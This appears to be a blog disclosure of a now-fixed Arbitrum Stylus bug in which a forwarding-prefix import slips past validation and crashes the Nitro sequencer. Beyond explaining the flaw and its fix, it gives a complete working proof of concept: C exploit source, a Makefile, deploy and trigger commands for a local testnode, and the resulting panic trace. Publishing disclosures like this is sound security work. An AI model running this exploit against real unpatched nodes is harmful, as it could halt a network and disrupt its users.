Panic at the Sequencer – Arbitrum Stylus Invalid Import Denial of Service

2 days ago 4

# Introduction

On the 3rd of September 2024, iosiro reported a vulnerability to Offchain Labs, discovered by security researchers Bernard Wagner and Jason Matthyser. The bug could be used to repeatedly crash the network’s sequencer for no gas or fees, thus posing a significant DoS risk to Arbitrum node operators and validators.

# Bug details

A logic flaw in Stylus's module import validation allowed the deployment of a faulty Stylus program, which could be executed to trigger a panic in the Arbitrum Nitro sequencer.

When a Stylus program is deployed, its function imports are validated against a list of supported functions. Before this validation is done, the code loops through all imports and strips the `FORWARDING_PREFIX` (`arbitrator_forward__`) from their names, shown below ([source](https://github.com/OffchainLabs/nitro/blob/v3.1.2/arbitrator/prover/src/machine.rs#L371-L377)):

```rust
for import in &bin.imports {
           let module = import.module;
           let have_ty = &bin.types[import.offset as usize];
           let (forward, import_name) = match import.name.strip_prefix(Module::FORWARDING_PREFIX) {
               Some(name) => (true, name),
               None => (false, import.name),
           };
```

The stripped import name and function name (`vm_hooks`) is then used as the `qualified_name` to determine whether the import is supported ([source](https://github.com/OffchainLabs/nitro/blob/v3.1.2/arbitrator/prover/src/machine.rs#L382-L395)):

```rust
let func = if let Some(import) = available_imports.get(&qualified_name) {
   let call = match forward {
       true => Opcode::CrossModuleForward,
       false => Opcode::CrossModuleCall,
   };
   let wavm = vec![
       Instruction::simple(Opcode::InitFrame),
       Instruction::with_data(
           call,
           pack_cross_module_call(import.module, import.func),
       ),
       Instruction::simple(Opcode::Return),
   ];
   Function::new_from_wavm(wavm, import.ty.clone(), vec![])
}
```

An import of a supported function, such as `evm_gas_limit`, will pass this validation step. Because the forwarding prefix is stripped from the function name, an import of a non-existent function named `arbitrator_forward__evm_gas_limit` will also pass validation, going through this same code path.

A final check is performed to ensure that the import’s arguments and return types are correct. Provided`arbitrator_forward__evm_gas_limit` has the same arguments and return type as the `evm_gas_limit`, this validation will pass, and the program will be deployed, even if the `arbitrator_forward__evm_gas_limit` function is not defined.

When the program is executed, it will attempt to import `arbitrator_forward__evm_gas_limit` and fail with an `unknown import` panic. This attack could use the name of any supported module, not just `even_gas_limit`.

The panic is triggered within the `core.(*StateTransition).TransitionDb` function in [Geth](https://github.com/ethereum/go-ethereum).

# Impact

Following the deployment of this exploit, it could be executed repeatedly at no gas or fee cost, with no effective immediate mitigation available. A motivated attacker could exploit this issue to cause the sequencer to remain offline and prevent the sequencing of blocks. Without a sequencer, the entire network halts.

This attack could be carried out in two stages, with the attacker first deploying the exploit and then waiting and executing it at an opportune time to trigger network downtime, such as during a market crash. Should the vulnerable deployment validation logic be fixed, this would not prevent an exploit deployed before the fix from triggering the panic. A comprehensive solution would require considering all Stylus programs deployed before the fix to be potentially malicious. For this reason, any fix would also need to include improved panic handling of all Stylus programs.

# Risk rating

The issue was submitted with a rating of Critical, as per the Immunefi Vulnerability Severity Classification System for Blockchain/DLT targets:

> 5 Critical - Network not being able to confirm new transactions (Total network shutdown)

The Arbitrum Foundation ultimately rated the issue as High and awarded a bounty of $80,000.

# Proof of concept

1. Clone `stylus-sdk-c` and switch to the `testnet-2` branch (this is required due to [this change](https://github.com/OffchainLabs/stylus-sdk-c/pull/14)).
   
   ```bash
  git clone --branch testnet-2 --single-branch https://github.com/OffchainLabs/stylus-sdk-c
   cd stylus-sdk-c
   ```
2. Create a new `examples/exploit` directory and add the `main.c` and `Makefile` files provided below:
   `main.c`:
   ```c
  #include "stylus_entry.h"
   
   extern __attribute__((import_module("vm_hooks"), import_name("arbitrator_forward__evm_gas_left")))
       uint64_t exploit();
   
   ArbResult user_main(uint8_t* args, size_t args_len) {
   
       exploit();
   
       return (ArbResult) {0, NULL , 0};
   }
   
   ENTRYPOINT(user_main);
   ```
   `Makefile`:
   ```makefile
  STACK_SIZE=1024
   CC=clang
   LD=wasm-ld
   CFLAGS=-I../../include/ -Iinterface-gen/ --target=wasm32 -Os --no-standard-libraries -mbulk-memory -Wall -g
   LDFLAGS=-O2 --no-entry --stack-first -z stack-size=$(STACK_SIZE) -Bstatic
   
   OBJECTS=main.o
   
   all: ./exploit.wasm
   
   %.o: %.c
    $(CC) $(CFLAGS) -c $< -o $@
   
   exploit.wasm: $(OBJECTS)
    $(LD) $(LDFLAGS) $(OBJECTS) -o $@
   
   clean:
    rm $(OBJECTS) exploit.wasm
   
   .phony: all cargo-generate clean
   ```
3. In a separate terminal, build and start `nitro` version 3.1.2:
   
   ```bash
   git clone --branch v3.1.2 --single-branch --recurse https://github.com/OffchainLabs/nitro
   cd nitro/nitro-testnode
   ./test-node.bash --init
   ```
4. When the containers are running and the sequencer is producing blocks, compile and deploy the exploit program in `stylus-sdk-c/examples/exploit`. The provided private key is for  `0x3f1eae7d46d88f08fc2f8ed27fcb2ab183eb2d0e`, which is funded by default (`genesis.json`).
   
   ```bash
  make all
   cargo install cargo-stylus
   cargo stylus deploy --wasm-file=./exploit.wasm --endpoint http://localhost:8547 \
       --private-key 0xb6b15c8cb491557369f3c7d2c287b053eb229daa9c22138887752191c9520659 --no-verify
   ```
   You should see output like the following:
   ```bash
  contract size: 1.2 KB
   wasm data fee: Ξ0.000045
   deployed code at address: 0x11b57fe348584f042e436c6bf7c3c3def171de49
   deployment tx hash: 0x70bae43d8a30d6e817657aa99caaeca0eeec1c753bb70d0d09b2d88cc86cee0e
   ```
5. The program has now been deployed. Sending a simple transaction from any account to the deployed contract address will trigger the bug and cause the sequencer to panic.
   
   ```bash
   # If necessary, replace 0x11b57fe348584f042e436c6bf7c3c3def171de49 with the deployed code address.
   cast send 0x11b57fe348584f042e436c6bf7c3c3def171de49 --rpc-url http://localhost:8547 \
       --private-key 0xb6b15c8cb491557369f3c7d2c287b053eb229daa9c22138887752191c9520659 \
       --gas-limit 10000000
   ```

A gas limit is specified to bypass gas estimation and send the transaction with `eth_sendRawTransaction`.

After the transaction is selected for inclusion in a block by the sequencer, it panics (`exit code 2`),  as shown in the following stack trace:

```bash
sequencer-1  | encountered fatal wasm: init failed
sequencer-1  |
sequencer-1  | Caused by:
sequencer-1  |     Error while importing "vm_hooks"."arbitrator_forward__evm_gas_left": unknown import. Expected Function(FunctionType { params: [], results: [I64] })
sequencer-1  |
sequencer-1  | Location:
sequencer-1  |     stylus/src/native.rs:217:24
sequencer-1  | note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
sequencer-1  | fatal runtime error: failed to initiate panic, error 872457344
sequencer-1  | SIGABRT: abort
sequencer-1  | PC=0xffffb76e0a10 m=11 sigcode=18446744073709551610
sequencer-1  | signal arrived during cgo execution
sequencer-1  |
sequencer-1  | goroutine 168 [syscall]:
sequencer-1  | runtime.cgocall(0x15b2a14, 0x4000539248)
sequencer-1  |  /usr/local/go/src/runtime/cgocall.go:157 +0x44 fp=0x4000539210 sp=0x40005391d0 pc=0x45f2e4
sequencer-1  | github.com/offchainlabs/nitro/arbos/programs._Cfunc_stylus_call({0x4000356500, 0x22a0}, {0x0, 0x0}, {0x1, 0x40000, {0x2710}}, {0x15b2c00, 0x1}, {{{0x0, ...}}, ...}, ...)
sequencer-1  |  _cgo_gotypes.go:250 +0x34 fp=0x4000539240 sp=0x4000539210 pc=0x1212464
sequencer-1  | github.com/offchainlabs/nitro/arbos/programs.callProgram.func1({0x4000356500?, 0x22a0, 0x3df05e6d03a2a4aa?}, {0x3ce5080?, 0x0, 0x4000539640?}, 0x40005395a8?, 0x4addc0?, 0x4000a18ed0?, 0x0?, ...)
sequencer-1  |  /workspace/arbos/programs/native.go:227 +0x164 fp=0x4000539500 sp=0x4000539240 pc=0x12146f4
sequencer-1  | github.com/offchainlabs/nitro/arbos/programs.callProgram({0x11, 0xb5, 0x7f, 0xe3, 0x48, 0x58, 0x4f, 0x4, 0x2e, 0x43, ...}, ...)
sequencer-1  |  /workspace/arbos/programs/native.go:227 +0x1a4 fp=0x4000539670 sp=0x4000539500 pc=0x1214144
sequencer-1  | github.com/offchainlabs/nitro/arbos/programs.Programs.CallProgram({0x40085a3d40, 0x40085a3da0, 0x40085a3e00, 0x40003f2540, 0x40085f2620}, 0x400331c2e8, {0x29aad68?, 0x4001754f00}, 0x1e, 0x40085a37a0, ...)
sequencer-1  |  /workspace/arbos/programs/programs.go:250 +0x9f4 fp=0x4000539b40 sp=0x4000539670 pc=0x120f784
sequencer-1  | github.com/offchainlabs/nitro/arbos.(*TxProcessor).ExecuteWASM(0x40006ee400, 0x400331c2e8, {0x3ce5080, 0x0, 0x0}, 0x40085a37a0)
sequencer-1  |  /workspace/arbos/tx_processor.go:123 +0x194 fp=0x4000539c40 sp=0x4000539b40 pc=0x12a4a74
sequencer-1  | github.com/ethereum/go-ethereum/core/vm.(*EVMInterpreter).Run(0x40085a37a0, 0x4001364820, {0x3ce5080, 0x0, 0x0}, 0x0)
sequencer-1  |  /workspace/go-ethereum/core/vm/interpreter.go:174 +0x3fc fp=0x4000539f60 sp=0x4000539c40 pc=0xcdb53c
sequencer-1  | github.com/ethereum/go-ethereum/core/vm.(*EVM).Call(0x400019f760, {0x297ff20, 0x40006f0c78}, {0x11, 0xb5, 0x7f, 0xe3, 0x48, 0x58, 0x4f, ...}, ...)
sequencer-1  |  /workspace/go-ethereum/core/vm/evm.go:262 +0x758 fp=0x400053a190 sp=0x4000539f60 pc=0xccced8
sequencer-1  | github.com/ethereum/go-ethereum/core.(*StateTransition).TransitionDb(0x40004d2fc0)
sequencer-1  |  /workspace/go-ethereum/core/state_transition.go:501 +0xa10 fp=0x400053a5d0 sp=0x400053a190 pc=0xd4ad90
sequencer-1  | github.com/ethereum/go-ethereum/core.ApplyMessage(0x400019f760, 0x40000dee40, 0x4003764760)
sequencer-1  |  /workspace/go-ethereum/core/state_transition.go:213 +0xb0 fp=0x400053a600 sp=0x400053a5d0 pc=0xd491e0
sequencer-1  | github.com/ethereum/go-ethereum/core.applyTransaction(0x222d080?, 0x40006ac7e0, 0x4000000000000?, 0x4001754f00, 0x400040ed00, {0x8d, 0xae, 0xc9, 0x61, 0xb0, ...}, ...)
sequencer-1  |  /workspace/go-ethereum/core/state_processor.go:112 +0x11c fp=0x400053a930 sp=0x400053a600 pc=0xd47c7c
sequencer-1  | github.com/ethereum/go-ethereum/core.ApplyTransactionWithResultFilter(0x98ce9b9519db3a5b?, {0x2986cf8, 0x4000680c00}, 0x4000ba9140?, 0x4001754f00?, 0x400053ac08?, 0x40005be000, 0x400040f220?, 0x20?, {{0x0, ...}, ...}, ...)
sequencer-1  |  /workspace/go-ethereum/core/state_processor.go:181 +0x1f0 fp=0x400053ab60 sp=0x400053a930 pc=0xd48360
sequencer-1  | github.com/offchainlabs/nitro/arbos.ProduceBlockAdvanced.func1(0x400053ae50, 0x1, 0x400053ae98, 0x400053b178, {0x29913c0?, 0x40014908d0?}, 0x4000ba9140, 0x400053b8e0, 0x10?, 0x40005be000, ...)
sequencer-1  |  /workspace/arbos/block_processor.go:311 +0x558 fp=0x400053acd0 sp=0x400053ab60 pc=0x12a0388
sequencer-1  | github.com/offchainlabs/nitro/arbos.ProduceBlockAdvanced(0x40004d2d40, {0x4000a282f0, 0x1, 0xde18252195614715?}, 0xb, 0x4000339f40?, 0x4001754f00, {0x2986cf8, 0x4000680c00}, 0x40006ac7e0, ...)
sequencer-1  |  /workspace/arbos/block_processor.go:338 +0x76c fp=0x400053b240 sp=0x400053acd0 pc=0x129ec2c
sequencer-1  | github.com/offchainlabs/nitro/execution/gethexec.(*ExecutionEngine).sequenceTransactionsWithBlockMutex(0x4000a1e820, 0x467b64?, {0x4000a282f0, 0x1, 0x1}, 0x400053b8e0)
```

# Recommendation

Imports with `FORWARDING_PREFIX` should be validated against a separate list of supported imports. To mitigate the impact of this and similar vulnerabilities, panics in `stylus_call` should be caught and cause the instigating transaction to revert.

# Conclusion

Shortly after our disclosure, Arbitrum issued a stealth mitigation for the bug and silently updated the Arbitrum mainnet sequencer. This prevented the deployment of any new Stylus programs that can trigger the vulnerability, while verifying that none of the existing Stylus programs contained invalid imports. This mitigation was later replaced with a comprehensive fix [in version 3.2.0 of Arbitrum Nitro](https://github.com/OffchainLabs/nitro/blob/267752087aa41996197023366edfc5ca290b79fd/arbitrator/prover/src/machine.rs#L376), released on 24 September 2024.

We want to thank the Arbitrum Foundation and Offchain Labs for their quick responses and the additional reward on top of the bug bounty amount.

If you found this interesting, check out some other bugs we’ve found in [Geth](https://iosiro.com/blog/geth-out-of-order-eip-application-denial-of-service), [Optimism](https://iosiro.com/blog/optimism-censorship-bug-disclosure), and [Nethermind](https://iosiro.com/blog/nethermind-modexp-out-of-memory-consensus-issue).

Read Entire Article